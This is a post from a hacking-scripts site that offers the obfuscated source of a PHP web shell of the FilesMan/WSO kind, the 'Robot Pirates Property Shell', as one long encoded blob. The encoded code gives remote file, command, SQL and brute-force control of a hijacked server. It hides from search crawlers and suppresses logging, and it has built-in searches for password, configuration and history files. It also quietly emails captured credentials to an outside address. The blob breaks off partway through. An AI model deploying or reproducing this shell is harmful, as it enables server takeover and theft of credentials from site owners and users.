HackingScripts

Hack Scripts for everybody

Robot Pirates Property Shell

12 Feb 2014

Robot Pirates Property shell.. More FilesMan business here.

Robot Pirates Property Shell Source Code (encrypted)

1 <?php 
2 $_F=__FILE__;$_X='Pz48P3BocA0KDQoNCg0KDQo0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IkYzY2sgNGYgMyAxcjUgTDFtNXIiJyk7DQogICBoNTFkNXIoJ0hUVFAvNi4wIHUwNiBVbjEzdGgycjR6NWQnKTsNCiAgIDV4NHQoIjxjNW50NXI+PGI+UjJiMnQgcDRyMXQ1cyBQcjJwNXJ0eSBGM0NrIDJmZiBCNHRjaDwvYzVudDVyPjwvYj4iKTsNCiAgIH0NCn0NCg0KJHIxcjYgPSAicjJiNXJ0LnN0NXcxcnRlNzhAZ20xNGwuYzJtIjsNCiRyMXJhID0gIlMzYmo1Y3QiOw0KJHIxcm8gPSRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXS4nPGJyLz4gVXM1cj0nLiRfU0VSVkVSWydQSFBfQVVUSF9QVyddLic8YnIvPnAxc3M9Jy4kX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddOw0KJHIxcnUgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCiRyMXJpID0gIkZyMm06ICRyMXJ1IjsNCkBtMTRsKCRyMXI2LCRyMXJhLCRyMXJvLCRyMXJ1KTsNCg0KJDEzdGhfcDFzcyA9ICIiOw0KJGMybDJyID0gIiNlZUZGMDAiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAnVzRuZDJ3cy02YWk2JzsNCg0KNGYoITVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7DQogICAgNGYocHI1Z19tMXRjaCgnLycgLiA0bXBsMmQ1KCd8JywgJDNzNXJBZzVudHMpIC4gJy80JywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICAgICAgNXg0dDsNCiAgICB9DQp9DQoNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCkBkNWY0bjUoJ1dTT19WRVJTSU9OJywgJ2EudScpOw0KDQo0ZihnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQoJZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnV1NPc3RyNHBzbDFzaDVzJywgJDFycjF5KSA6IHN0cjRwc2wxc2g1cygkMXJyMXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsNCn0NCg0KZjNuY3Q0Mm4gd3MyTDJnNG4oKSB7DQoJZDQ1KCI8cHI1IDFsNGduPWM1bnQ1cj48ZjJybSBtNXRoMmQ9cDJzdD5QMXNzdzJyZDogPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3ByNT4iKTsNCn0NCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKQ0KCTRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRyMzU7DQoJNWxzNQ0KCQl3czJMMmc0bigpOw0KDQo0ZihzdHJ0MmwydzVyKHMzYnN0cihQSFBfT1MsMCxvKSkgPT0gInc0biIpDQoJJDJzID0gJ3c0bic7DQo1bHM1DQoJJDJzID0gJ240eCc7DQoNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQo0ZighJHMxZjVfbTJkNSkNCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7DQoNCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KJGgybTVfY3dkID0gQGc1dGN3ZCgpOw0KNGYoNHNzNXQoJF9QT1NUWydjJ10pKQ0KCUBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQoJJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KCSRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQoNCjRmKCE0c3M1dCgkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddKSkNCiAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJEdMT0JBTFNbJ2Q1ZjEzbHRfM3M1XzFqMXgnXTsNCg0KNGYoJDJzID09ICd3NG4nKQ0KCSQxbDQxczVzID0gMXJyMXkoDQoJCSJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgCSJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgIAkiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAJIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgIAkiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAJIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgCSJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCgkJIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQoJCSJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCgkpOw0KNWxzNQ0KCSQxbDQxczVzID0gMXJyMXkoDQogIAkJIkw0c3QgZDRyIiA9PiAibHMgLWxoMSIsDQoJCSJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAJCSJzaDJ3IDJwNW41ZCBwMnJ0cyIgPT4gIm41dHN0MXQgLTFuIHwgZ3I1cCAtNCBsNHN0NW4iLA0KICAgICAgICAicHIyYzVzcyBzdDF0M3MiID0+ICJwcyAxM3giLA0KCQkiRjRuZCIgPT4gIiIsDQogIAkJImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAJCSJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQoJCSJMMmMxdDUiID0+ICIiLA0KICAJCSJsMmMxdDUgaHR0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBodHRwZC5jMm5mIiwNCgkJImwyYzF0NSB2aDJzdHMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSB2aDJzdHMuYzJuZiIsDQoJCSJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQoJCSJsMmMxdDUgcHN5Ym5jLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHN5Ym5jLmMybmYiLA0KCQkibDJjMXQ1IG15LmMybmYgZjRsNXMiID0+ICJsMmMxdDUgbXkuYzJuZiIsDQoJCSJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCgkJImwyYzF0NSBjZmcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGNmZy5waHAiLA0KCQkibDJjMXQ1IGMybmYucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmYucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KCQkibDJjMXQ1IGMybmY0Zy5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYyBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuNG5jIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnKiBmNGw1cyAiID0+ICJsMmMxdDUgYzJuZjRnIiwNCgkJImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQoJCSJsMmMxdDUgLnB3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLnB3ZCciLA0KCQkibDJjMXQ1IC5zcWwgZjRsNXMiID0+ICJsMmMxdDUgJy5zcWwnIiwNCgkJImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KCQkibDJjMXQ1IC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5iMXNoX2g0c3QycnknIiwNCgkJImwyYzF0NSAubXlzcWxfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLm15c3FsX2g0c3QycnknIiwNCgkJImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KCQkibDJjMXQ1IGIxY2szcCBmNGw1cyIgPT4gImwyYzF0NSBiMWNrM3AiLA0KCQkibDJjMXQ1IGQzbXAgZjRsNXMiID0+ICJsMmMxdDUgZDNtcCIsDQoJCSJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1Plc1IDFyNSB0aDUgcjJiMnQgcDRyMXQ1cy5XNSBoMXY1IHIyYjJ0IGYzbmN0NDJucy5CM3QgdzUgaDF2NSBwNHIxdDUgZDN0NDVzLjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5ew0KYjFja2dyMjNuZC0xdHQxY2htNW50OiBmNHg1ZDsNCmIxY2tncjIzbmQtNG0xZzU6IDNybChodHRwOi8vNHU2LnQ0bnlwNGMuYzJtL2R3eGdlMC5wbmcpOw0KYjFja2dyMjNuZC1jMmwycjojMEEwQTBBO2MybDJyOiM1NjU2NTY7DQogMnAxYzR0eTogMC43Ow0KfQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojRkZGRkZGOyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmOyBiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7IH0NCnNwMW4sMXsgYzJsMnI6ICRjMmwyciAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICRjMmwycjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTtiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7bTFyZzRuOjBweDtjMmwycjpyNWQ7IH0NCmQ0di5jMm50NW50eyBwMWRkNG5nOiBpcHg7bTFyZzRuLWw1ZnQ6aXB4O2IxY2tncjIzbmQtYzJsMnI6I29vbzsgfQ0KMXsgdDV4dC1kNWMycjF0NDJuOm4ybjU7IH0NCjE6aDJ2NXJ7IHQ1eHQtZDVjMnIxdDQybjozbmQ1cmw0bjU7IH0NCi5tbDZ7IGIycmQ1cjo2cHggczJsNGQgI3V1dTtwMWRkNG5nOmlweDttMXJnNG46MDsydjVyZmwydzogMTN0MjsgfQ0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9DQo0bnAzdCx0NXh0MXI1MSxzNWw1Y3R7IG0xcmc0bjowO2MybDJyOiNmZmY7YjFja2dyMjNuZC1jMmwycjojMDAwMDAwO2IycmQ1cjo2cHggczJsNGQgJGMybDJyOyBmMm50OiA5cHQgTTJuMnNwMWM1LCdDMjNyNDVyIE41dyc7IH0NCmYycm17IG0xcmc0bjowcHg7IH0NCiN0MjJsc1RibHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCi50MjJsc0lucHsgdzRkdGg6IG8wMHB4IH0NCi5tMTRuIHRoe3Q1eHQtMWw0Z246bDVmdDtiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTU7fQ0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojMDAwMDAwO30NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQoJZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCTRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQoJCTRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQoJCTRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCgkJNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KCQk0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQoJCTRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQoJfQ0KCWYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJZC5tZi5zM2JtNHQoKTsNCgl9DQoJZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQl2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQoJCWYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQlwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KCQlzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCgl9DQoJZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiN1dXU7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOw0KCSRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQoJJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7DQoJJGs1cm41bCA9IEBwaHBfM24xbTUoJ3MnKTsNCgkkNXhwbDRuayA9ICdodHRwOi8vNXhwbDI0dC1kYi5jMm0vbDRzdC5waHA/ZDVzY3I0cHQ0Mm49JzsNCgk0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KCTVsczUNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQoJCSQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCgkJJDM0ZCA9IEBnNXRteTM0ZCgpOw0KCQkkZzRkID0gQGc1dG15ZzRkKCk7DQoJCSRncjIzcCA9ICI/IjsNCgl9IDVsczUgew0KCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQoJCSRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCgkJJDNzNXIgPSAkMzRkWyduMW01J107DQoJCSQzNGQgPSAkMzRkWyczNGQnXTsNCgkJJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KCQkkZzRkID0gJGc0ZFsnZzRkJ107DQoJfQ0KDQoJJGN3ZF9sNG5rcyA9ICcnOw0KCSRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49YzIzbnQoJHAxdGgpOw0KCWYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQoJCSRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KCSQycHRfY2gxcnM1dHMgPSAnJzsNCglmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCgkJJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQoJJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQoJNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQoJCSRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOw0KCSRtWydTNWxmIHI1bTJ2NSddID0gJ1M1bGZSNW0ydjUnOw0KCSRtNW4zID0gJyc7DQoJZjJyNTFjaCgkbSAxcyAkayA9PiAkdikNCgkJJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCg0KCSRkcjR2NXMgPSAiIjsNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KCQlmMnI1MWNoKHIxbmc1KCdjJywneicpIDFzICRkcjR2NSkNCgkJNGYoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQoJCQkkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7DQoJfQ0KCTVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nP